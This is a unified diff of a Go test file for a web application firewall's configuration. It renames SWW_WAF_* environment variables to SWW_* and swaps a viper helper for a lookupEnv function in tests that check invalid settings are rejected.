wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
|
||||
wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
|
||||
wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
|
||||
wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
|
||||
exclusionsFile = "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"
|
||||
trapPaths = "SWW_WAF_TRAP_PATHS"
|
||||
errorBurstThreshold = "SWW_WAF_ERROR_BURST_THRESHOLD"
|
||||
logRemoteURL = "SWW_WAF_LOG_REMOTE_URL"
|
||||
logRemoteTLSCAFile = "SWW_WAF_LOG_REMOTE_TLS_CA_FILE"
|
||||
logRemoteBuffer = "SWW_WAF_LOG_REMOTE_BUFFER"
|
||||
logRemoteFacility = "SWW_WAF_LOG_REMOTE_FACILITY"
|
||||
logRemoteAppName = "SWW_WAF_LOG_REMOTE_APP_NAME"
|
||||
alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL"
|
||||
alertWebhookHeaders = "SWW_WAF_ALERT_WEBHOOK_HEADERS"
|
||||
alertSlackWebhookURL = "SWW_WAF_ALERT_SLACK_WEBHOOK_URL"
|
||||
alertNtfyURL = "SWW_WAF_ALERT_NTFY_URL"
|
||||
alertNtfyToken = "SWW_WAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
|
||||
alertEvents = "SWW_WAF_ALERT_EVENTS"
|
||||
alertCooldown = "SWW_WAF_ALERT_COOLDOWN"
|
||||
alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR"
|
||||
anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX"
|
||||
watchNets = "SWW_WAF_WATCH_NETS"
|
||||
listenAddr = "SWW_LISTEN_ADDR"
|
||||
mode = "SWW_MODE"
|
||||
ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
|
||||
maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
|
||||
allowNets = "SWW_ALLOW_NETS"
|
||||
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
|
||||
denyNets = "SWW_DENY_NETS"
|
||||
rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
|
||||
rateLimitPerHour = "SWW_RATE_LIMIT_PER_HOUR"
|
||||
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
|
||||
rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
|
||||
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
|
||||
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
|
||||
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
|
||||
bytesCount = "SWW_BYTES_COUNT"
|
||||
lookupSource = "SWW_LOOKUP_SOURCE"
|
||||
lookupDBPath = "SWW_LOOKUP_DB_PATH"
|
||||
lookupTimeout = "SWW_LOOKUP_TIMEOUT"
|
||||
addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
|
||||
allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
|
||||
tagLists = "SWW_TAG_LISTS"
|
||||
tagDeny = "SWW_TAG_DENY"
|
||||
tagLimitPercent = "SWW_TAG_LIMIT_PERCENT"
|
||||
asnBytesPercent = "SWW_ASN_BYTES_PERCENT"
|
||||
countryBytesPercent = "SWW_COUNTRY_BYTES_PERCENT"
|
||||
unknownLimitPercent = "SWW_UNKNOWN_LIMIT_PERCENT"
|
||||
asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
|
||||
blocklistURLs = "SWW_BLOCKLIST_URLS"
|
||||
blocklistRefresh = "SWW_BLOCKLIST_REFRESH"
|
||||
blocklistAction = "SWW_BLOCKLIST_ACTION"
|
||||
dnsblZones = "SWW_DNSBL_ZONES"
|
||||
dnsblResolver = "SWW_DNSBL_RESOLVER"
|
||||
abuseIPDBKey = "SWW_ABUSEIPDB_KEY"
|
||||
abuseIPDBMinScore = "SWW_ABUSEIPDB_MIN_SCORE"
|
||||
abuseIPDBDailyBudget = "SWW_ABUSEIPDB_DAILY_BUDGET"
|
||||
reputationAction = "SWW_REPUTATION_ACTION"
|
||||
reputationCacheTTL = "SWW_REPUTATION_CACHE_TTL"
|
||||
reputationTimeout = "SWW_REPUTATION_TIMEOUT"
|
||||
routeWatchURL = "SWW_ROUTEWATCH_URL"
|
||||
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
|
||||
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
|
||||
banResponse = "SWW_BAN_RESPONSE"
|
||||
limitBanDuration = "SWW_LIMIT_BAN_DURATION"
|
||||
limitBanRepeatWindow = "SWW_LIMIT_BAN_REPEAT_WINDOW"
|
||||
maxBanDuration = "SWW_MAX_BAN_DURATION"
|
||||
attackBanDuration = "SWW_ATTACK_BAN_DURATION"
|
||||
maxBans = "SWW_MAX_BANS"
|
||||
banScopeV4Prefix = "SWW_BAN_SCOPE_V4_PREFIX"
|
||||
stateDir = "SWW_STATE_DIR"
|
||||
stateWriteDelay = "SWW_STATE_WRITE_DELAY"
|
||||
stateCounterInterval = "SWW_STATE_COUNTER_INTERVAL"
|
||||
adminToken = "SWW_ADMIN_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
|
||||
metricsTopN = "SWW_METRICS_TOP_N"
|
||||
instanceName = "SWW_INSTANCE_NAME"
|
||||
logRequestHeaders = "SWW_LOG_REQUEST_HEADERS"
|
||||
logLevel = "SWW_LOG_LEVEL"
|
||||
rulesDir = "SWW_RULES_DIR"
|
||||
rulesEnabled = "SWW_RULES_ENABLED"
|
||||
wafMode = "SWW_WAF_MODE"
|
||||
wafParanoiaLevel = "SWW_WAF_PARANOIA_LEVEL"
|
||||
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
|
||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
|
||||
trapPaths = "SWW_TRAP_PATHS"
|
||||
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
|
||||
logRemoteURL = "SWW_LOG_REMOTE_URL"
|
||||
logRemoteTLSCAFile = "SWW_LOG_REMOTE_TLS_CA_FILE"
|
||||
logRemoteBuffer = "SWW_LOG_REMOTE_BUFFER"
|
||||
logRemoteFacility = "SWW_LOG_REMOTE_FACILITY"
|
||||
logRemoteAppName = "SWW_LOG_REMOTE_APP_NAME"
|
||||
alertWebhookURL = "SWW_ALERT_WEBHOOK_URL"
|
||||
alertWebhookHeaders = "SWW_ALERT_WEBHOOK_HEADERS"
|
||||
alertSlackWebhookURL = "SWW_ALERT_SLACK_WEBHOOK_URL"
|
||||
alertNtfyURL = "SWW_ALERT_NTFY_URL"
|
||||
alertNtfyToken = "SWW_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name
|
||||
alertEvents = "SWW_ALERT_EVENTS"
|
||||
alertCooldown = "SWW_ALERT_COOLDOWN"
|
||||
alertMaxPerHour = "SWW_ALERT_MAX_PER_HOUR"
|
||||
anomalyNetV4Prefix = "SWW_ANOMALY_NET_V4_PREFIX"
|
||||
anomalyNetV6Prefix = "SWW_ANOMALY_NET_V6_PREFIX"
|
||||
watchNets = "SWW_WATCH_NETS"
|
||||
)
|
||||
|
||||
// The anomaly thresholds: each of the prefixes below, which name a scope,
|
||||
// followed by each of the four ends.
|
||||
const (
|
||||
anomalyClient = "SWW_WAF_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_WAF_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_WAF_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_"
|
||||
watch = "SWW_WAF_WATCH_"
|
||||
anomalyClient = "SWW_ANOMALY_CLIENT_"
|
||||
anomalyNet = "SWW_ANOMALY_NET_"
|
||||
anomalyASN = "SWW_ANOMALY_ASN_"
|
||||
anomalyTotal = "SWW_ANOMALY_TOTAL_"
|
||||
watch = "SWW_WATCH_"
|
||||
|
||||
requestsPerMinute = "REQUESTS_PER_MINUTE"
|
||||
requestsPerHour = "REQUESTS_PER_HOUR"
|
||||
@@ -160,21 +157,21 @@ func loggedAnomalyDefaults() map[string]string {
|
||||
return logged
|
||||
}
|
||||
|
||||
// defaultAlertEvents is the default of SWW_WAF_ALERT_EVENTS, and
|
||||
// defaultAlertCooldown that of SWW_WAF_ALERT_COOLDOWN.
|
||||
// defaultAlertEvents is the default of SWW_ALERT_EVENTS, and
|
||||
// defaultAlertCooldown that of SWW_ALERT_COOLDOWN.
|
||||
const (
|
||||
defaultAlertEvents = "ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit," +
|
||||
"source_failure,file_error"
|
||||
defaultAlertCooldown = "15m"
|
||||
)
|
||||
|
||||
// defaultReputationCacheTTL is the default of SWW_WAF_REPUTATION_CACHE_TTL.
|
||||
// defaultReputationCacheTTL is the default of SWW_REPUTATION_CACHE_TTL.
|
||||
const defaultReputationCacheTTL = "24h"
|
||||
|
||||
// defaultWAFDisabledRules is the default of SWW_WAF_CORE_RULE_SET_DISABLED_RULES.
|
||||
// defaultWAFDisabledRules is the default of SWW_WAF_DISABLED_RULES.
|
||||
const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140"
|
||||
|
||||
// defaultLogRequestHeaders is the default of SWW_WAF_LOG_REQUEST_HEADERS.
|
||||
// defaultLogRequestHeaders is the default of SWW_LOG_REQUEST_HEADERS.
|
||||
const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," +
|
||||
"content-type,origin,range"
|
||||
|
||||
@@ -199,8 +196,8 @@ const (
|
||||
otherToken = "fedcba9876543210fedcba9876543210"
|
||||
)
|
||||
|
||||
// instance is an SWW_WAF_INSTANCE_NAME that is a valid app name too, and
|
||||
// remoteURL an SWW_WAF_LOG_REMOTE_URL, for the tests that send the lines.
|
||||
// instance is an SWW_INSTANCE_NAME that is a valid app name too, and
|
||||
// remoteURL an SWW_LOG_REMOTE_URL, for the tests that send the lines.
|
||||
const (
|
||||
instance = "fsn1app1/blog"
|
||||
remoteURL = "syslog+udp://192.0.2.1:514"
|
||||
@@ -215,7 +212,7 @@ const enabled = "true"
|
||||
// disabled is false, as a setting's value.
|
||||
const disabled = "false"
|
||||
|
||||
// defaultLookupSource is the default of SWW_WAF_LOOKUP_SOURCE, and
|
||||
// defaultLookupSource is the default of SWW_LOOKUP_SOURCE, and
|
||||
// fileSource the source that is the lookup database.
|
||||
const (
|
||||
defaultLookupSource = "geojs"
|
||||
@@ -225,16 +222,18 @@ const (
|
||||
// environment is a set of environment variables, for FromEnvironment.
|
||||
type environment map[string]string
|
||||
|
||||
// viper returns a viper holding each of the variables.
|
||||
func (e environment) viper() *viper.Viper {
|
||||
return configtest.Viper(e)
|
||||
// lookupEnv reads one of the variables, as os.LookupEnv does.
|
||||
func (e environment) lookupEnv(name string) (string, bool) {
|
||||
value, ok := e[name]
|
||||
|
||||
return value, ok
|
||||
}
|
||||
|
||||
// fromEnvironment reads the settings from env, which must be valid.
|
||||
func fromEnvironment(t *testing.T, env environment) *config.Config {
|
||||
t.Helper()
|
||||
|
||||
cfg, err := config.FromEnvironment(env.viper())
|
||||
cfg, err := config.FromEnvironment(env.lookupEnv)
|
||||
if err != nil {
|
||||
t.Fatalf("settings %v: %v", env, err)
|
||||
}
|
||||
@@ -463,7 +462,7 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(
|
||||
environment{rateLimitExemptPaths: "/favicon.ico,assets/"}.viper())
|
||||
environment{rateLimitExemptPaths: "/favicon.ico,assets/"}.lookupEnv)
|
||||
|
||||
want := rateLimitExemptPaths + `: "assets/" is not a path prefix ` +
|
||||
`starting with /, such as /assets/`
|
||||
@@ -518,7 +517,7 @@ func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
|
||||
want := tc.name + ": " + tc.want
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -647,7 +646,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
|
||||
want := tc.name + ": " + tc.want
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -772,7 +771,7 @@ func TestInvalidRemoteLogSettingStopsTheStart(t *testing.T) {
|
||||
{logRemoteAppName, ""}, {logRemoteAppName, "my app"},
|
||||
{logRemoteAppName, "gitéa"}, {logRemoteAppName, strings.Repeat("a", 49)},
|
||||
} {
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
||||
t.Errorf("%s=%q: error %v, want one naming it", tc.name, tc.value, err)
|
||||
}
|
||||
@@ -789,7 +788,7 @@ func TestRemoteLogCAFileWithoutCertificateStopsTheStart(t *testing.T) {
|
||||
t.Fatalf("write %s: %v", caFile, err)
|
||||
}
|
||||
|
||||
_, err = config.FromEnvironment(environment{logRemoteTLSCAFile: caFile}.viper())
|
||||
_, err = config.FromEnvironment(environment{logRemoteTLSCAFile: caFile}.lookupEnv)
|
||||
|
||||
want := logRemoteTLSCAFile + `: "` + caFile + `" holds no PEM certificate`
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -804,7 +803,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending(t *testing.T) {
|
||||
|
||||
sending := environment{logRemoteURL: remoteURL, instanceName: spaced}
|
||||
|
||||
_, err := config.FromEnvironment(sending.viper())
|
||||
_, err := config.FromEnvironment(sending.lookupEnv)
|
||||
|
||||
want := logRemoteAppName + `: is unset, and ` + instanceName +
|
||||
` "fsn1 app1", its default, is not 1 to 48 printable ASCII characters ` +
|
||||
@@ -834,7 +833,7 @@ func TestAppNameSetStopsTheStartWhileSending(t *testing.T) {
|
||||
logRemoteURL: remoteURL,
|
||||
instanceName: instance,
|
||||
logRemoteAppName: "my app",
|
||||
}.viper())
|
||||
}.lookupEnv)
|
||||
|
||||
want := logRemoteAppName + `: "my app" is not 1 to 48 printable ASCII ` +
|
||||
`characters without a space, such as blog`
|
||||
@@ -965,7 +964,7 @@ func TestWebhookHeadersAreLoggedMaskedAndNeverShown(t *testing.T) {
|
||||
// An item that is not a header is named by its place, not shown.
|
||||
_, err := config.FromEnvironment(environment{
|
||||
alertWebhookHeaders: "X-Team:ops," + secret,
|
||||
}.viper())
|
||||
}.lookupEnv)
|
||||
|
||||
want := alertWebhookHeaders + ": item 2 is not a header name followed by : " +
|
||||
"and the header's value, such as Authorization:Bearer <token>"
|
||||
@@ -1002,7 +1001,7 @@ func TestWebhookURLIsLoggedWithoutItsPathOrQueryAndNeverShown(t *testing.T) {
|
||||
"ftp://hooks.example/services/" + secret,
|
||||
"https://hooks.example/services/%zz" + secret,
|
||||
} {
|
||||
_, err := config.FromEnvironment(environment{alertWebhookURL: value}.viper())
|
||||
_, err := config.FromEnvironment(environment{alertWebhookURL: value}.lookupEnv)
|
||||
|
||||
want := alertWebhookURL + ": is not an http or https URL without a user or " +
|
||||
"a fragment, such as https://alerts.example/sww"
|
||||
@@ -1053,7 +1052,7 @@ func TestNtfyTokenWithAControlCharacterStopsTheStartWithoutShowingIt(t *testing.
|
||||
"set": {alertNtfyToken: token + "\r"},
|
||||
"in a file": {alertNtfyToken + "_FILE": writeFile(t, token+"\r\n")},
|
||||
} {
|
||||
_, err := config.FromEnvironment(env.viper())
|
||||
_, err := config.FromEnvironment(env.lookupEnv)
|
||||
|
||||
want := alertNtfyToken + ": holds a control character, such as the " +
|
||||
"carriage return of a Windows line end"
|
||||
@@ -1070,7 +1069,7 @@ func TestInstanceNameWithAControlCharacterStopsTheStartOnlyWithNtfySet(t *testin
|
||||
|
||||
_, err := config.FromEnvironment(environment{
|
||||
instanceName: name, alertNtfyURL: "https://ntfy.example/sww-alerts",
|
||||
}.viper())
|
||||
}.lookupEnv)
|
||||
|
||||
want := instanceName + `: "fsn1app1\r" holds a control character, such as the ` +
|
||||
`carriage return of a Windows line end, and is sent to ntfy in a header ` +
|
||||
@@ -1095,7 +1094,7 @@ func TestInstanceNameNotUTF8StopsTheStart(t *testing.T) {
|
||||
"set": {instanceName: latin1},
|
||||
"in a file": {instanceName + "_FILE": writeFile(t, latin1+"\n")},
|
||||
} {
|
||||
_, err := config.FromEnvironment(env.viper())
|
||||
_, err := config.FromEnvironment(env.lookupEnv)
|
||||
|
||||
want := instanceName + `: "caf\xe9" is not valid UTF-8`
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -1110,10 +1109,9 @@ func TestCodeInAllowedCountriesAndTagDenyStopsTheStart(t *testing.T) {
|
||||
_, err := config.FromEnvironment(environment{
|
||||
tagDeny: "country=cn,country=ru",
|
||||
allowedCountries: "de,RU",
|
||||
}.viper())
|
||||
}.lookupEnv)
|
||||
if err == nil {
|
||||
t.Fatal("ru in SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES and " +
|
||||
"SWW_WAF_TAG_DENY was accepted")
|
||||
t.Fatal("ru in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY was accepted")
|
||||
}
|
||||
|
||||
if !strings.HasPrefix(err.Error(), allowedCountries+": ") ||
|
||||
@@ -1173,7 +1171,7 @@ func TestLookupDBPathGoesWithTheFileSourceAlone(t *testing.T) {
|
||||
lookupDBPath + ": is set while " + lookupSource + " is off; only file reads it",
|
||||
},
|
||||
} {
|
||||
_, err := config.FromEnvironment(tc.env.viper())
|
||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
||||
if err == nil || err.Error() != tc.want {
|
||||
t.Errorf("settings %v: error %v, want %s", tc.env, err, tc.want)
|
||||
}
|
||||
@@ -1202,7 +1200,7 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
|
||||
|
||||
_, err := config.FromEnvironment(environment{
|
||||
lookupSource: off, name: value,
|
||||
}.viper())
|
||||
}.lookupEnv)
|
||||
if err == nil || !strings.HasPrefix(err.Error(), name+": ") ||
|
||||
!strings.Contains(err.Error(), lookupSource+" is off") {
|
||||
t.Errorf("error %v, want one naming %s and %s", err, name, lookupSource)
|
||||
@@ -1211,7 +1209,7 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) {
|
||||
}
|
||||
|
||||
// Set empty, the lists need nothing looked up, and nor does
|
||||
// SWW_WAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, a tag the
|
||||
// SWW_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, a tag the
|
||||
// lookup does not give, an anomaly threshold per AS number that is off,
|
||||
// any other anomaly threshold, or a blocklist.
|
||||
env := environment{
|
||||
@@ -1353,7 +1351,7 @@ func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
|
||||
want := tc.name + ": " + tc.want
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -1447,14 +1445,14 @@ func TestRouteWatchURLAndPrefixTags(t *testing.T) {
|
||||
{environment{lookupSource: off, routeWatchURL: rw, tagDeny: "country=DE"}, tagDeny},
|
||||
{environment{lookupSource: off, tagDeny: "asn=64496"}, tagDeny},
|
||||
} {
|
||||
_, err := config.FromEnvironment(stopped.env.viper())
|
||||
_, err := config.FromEnvironment(stopped.env.lookupEnv)
|
||||
if err == nil || !strings.HasPrefix(err.Error(), stopped.name+": ") {
|
||||
t.Errorf("%v gave the error %v, want one naming %s", stopped.env, err, stopped.name)
|
||||
}
|
||||
}
|
||||
|
||||
badURL := environment{routeWatchURL: "ftp://routewatch.example"}
|
||||
_, err := config.FromEnvironment(badURL.viper())
|
||||
_, err := config.FromEnvironment(badURL.lookupEnv)
|
||||
|
||||
want := routeWatchURL + `: "ftp://routewatch.example" is not an http or https URL ` +
|
||||
"without a user or a fragment, such as https://routewatch.example"
|
||||
@@ -1509,7 +1507,7 @@ func TestTagThatNoRequestCanGetIsToldApartFromOneItCan(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(tc.env.viper())
|
||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
||||
|
||||
switch {
|
||||
case tc.want == "" && err != nil:
|
||||
@@ -1547,7 +1545,7 @@ func TestErrorOfATagSettingLeavesOutAZoneKey(t *testing.T) {
|
||||
{tagLimitPercent, tag + ":50," + tag + " :25", twice},
|
||||
{tagLimitPercent, tag + ":50,,", emptyItem},
|
||||
} {
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
|
||||
want := tc.name + ": " + tc.want
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -1569,7 +1567,7 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
|
||||
{"the file of AS:percent lines", asnURL, environment{asnLimitPercentURL: asnURL}},
|
||||
{
|
||||
"the CrowdSec decision list", lapi + "/v1/decisions",
|
||||
environment{"SWW_WAF_CROWDSEC_LAPI_URL": lapi, "SWW_WAF_CROWDSEC_LAPI_KEY": "key"},
|
||||
environment{"SWW_CROWDSEC_LAPI_URL": lapi, "SWW_CROWDSEC_LAPI_KEY": "key"},
|
||||
},
|
||||
} {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
@@ -1577,10 +1575,10 @@ func TestTagListURLFetchedAsAnotherListStopsTheStart(t *testing.T) {
|
||||
|
||||
tc.env[tagLists] = "dup=" + tc.listURL
|
||||
|
||||
want := tagLists + `: "` + tc.listURL + `" is in SWW_WAF_BLOCKLIST_URLS, is ` +
|
||||
"SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too"
|
||||
want := tagLists + `: "` + tc.listURL + `" is in SWW_BLOCKLIST_URLS, is ` +
|
||||
"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too"
|
||||
|
||||
_, err := config.FromEnvironment(tc.env.viper())
|
||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
@@ -1649,7 +1647,7 @@ func TestInvalidBiasedThresholdStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
|
||||
want := tc.name + ": " + tc.want
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -1667,7 +1665,7 @@ const (
|
||||
asnURL = "https://lists.example/asn.txt"
|
||||
)
|
||||
|
||||
// The actions of SWW_WAF_BLOCKLIST_ACTION, as Config gives them.
|
||||
// The actions of SWW_BLOCKLIST_ACTION, as Config gives them.
|
||||
const (
|
||||
actionDeny = "deny"
|
||||
actionLimit = "limit"
|
||||
@@ -1746,7 +1744,7 @@ func TestInvalidReputationSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
|
||||
want := tc.name + ": " + tc.want
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -1761,9 +1759,9 @@ func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) {
|
||||
|
||||
_, err := config.FromEnvironment(environment{
|
||||
blocklistURLs: dropURL + "," + asnURL, asnLimitPercentURL: asnURL,
|
||||
}.viper())
|
||||
}.lookupEnv)
|
||||
|
||||
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWW_WAF_BLOCKLIST_URLS too`
|
||||
want := asnLimitPercentURL + `: "` + asnURL + `" is in SWW_BLOCKLIST_URLS too`
|
||||
if err == nil || err.Error() != want {
|
||||
t.Errorf("error %v, want %s", err, want)
|
||||
}
|
||||
@@ -1888,7 +1886,7 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
|
||||
want := tc.name + ": " + tc.want
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -1956,7 +1954,7 @@ func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
|
||||
{spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`},
|
||||
{spamhaus + ",,", "has an empty item in its list"},
|
||||
} {
|
||||
_, err := config.FromEnvironment(environment{dnsblZones: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{dnsblZones: tc.value}.lookupEnv)
|
||||
|
||||
want := dnsblZones + ": " + tc.want
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -2009,7 +2007,7 @@ func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
|
||||
want := tc.name + ": " + tc.want
|
||||
if err == nil || err.Error() != want {
|
||||
@@ -2066,7 +2064,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
notLAPIURL = " is not an http or https URL without a user or a fragment, " +
|
||||
"such as http://172.17.0.1:8080"
|
||||
anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
|
||||
`SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too`
|
||||
`SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too`
|
||||
)
|
||||
|
||||
for _, tc := range []struct {
|
||||
@@ -2123,7 +2121,7 @@ func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(tc.env.viper())
|
||||
_, err := config.FromEnvironment(tc.env.lookupEnv)
|
||||
if err == nil || err.Error() != tc.want {
|
||||
t.Errorf("error %v, want %s", err, tc.want)
|
||||
}
|
||||
@@ -2276,14 +2274,14 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
|
||||
|
||||
// wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff checks that with rule
|
||||
// files off, and either setting turning off the Core Rule Set, the tag
|
||||
// exploitsignature in SWW_WAF_TAG_DENY stops the start.
|
||||
// exploitsignature in SWW_TAG_DENY stops the start.
|
||||
func wantExploitTagStopsTheStartWithRulesAndCoreRuleSetOff(t *testing.T) {
|
||||
t.Helper()
|
||||
|
||||
for _, name := range []string{wafMode, wafAnomalyThreshold} {
|
||||
_, err := config.FromEnvironment(environment{
|
||||
tagDeny: exploitTag, rulesEnabled: disabled, name: off,
|
||||
}.viper())
|
||||
}.lookupEnv)
|
||||
if err == nil || !strings.HasPrefix(err.Error(), tagDeny+": ") {
|
||||
t.Errorf("%s=off with rule files off gave the error %v, want one naming %s",
|
||||
name, err, tagDeny)
|
||||
@@ -2316,7 +2314,7 @@ func wantStartStopped(t *testing.T, invalid []struct{ name, value string }) {
|
||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.viper())
|
||||
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
|
||||
if err == nil {
|
||||
t.Fatalf("%s=%q was accepted", tc.name, tc.value)
|
||||
}
|
||||
@@ -2341,7 +2339,7 @@ func TestHostOrTransferEncodingStopsTheStart(t *testing.T) {
|
||||
t.Run(value, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := config.FromEnvironment(environment{logRequestHeaders: value}.viper())
|
||||
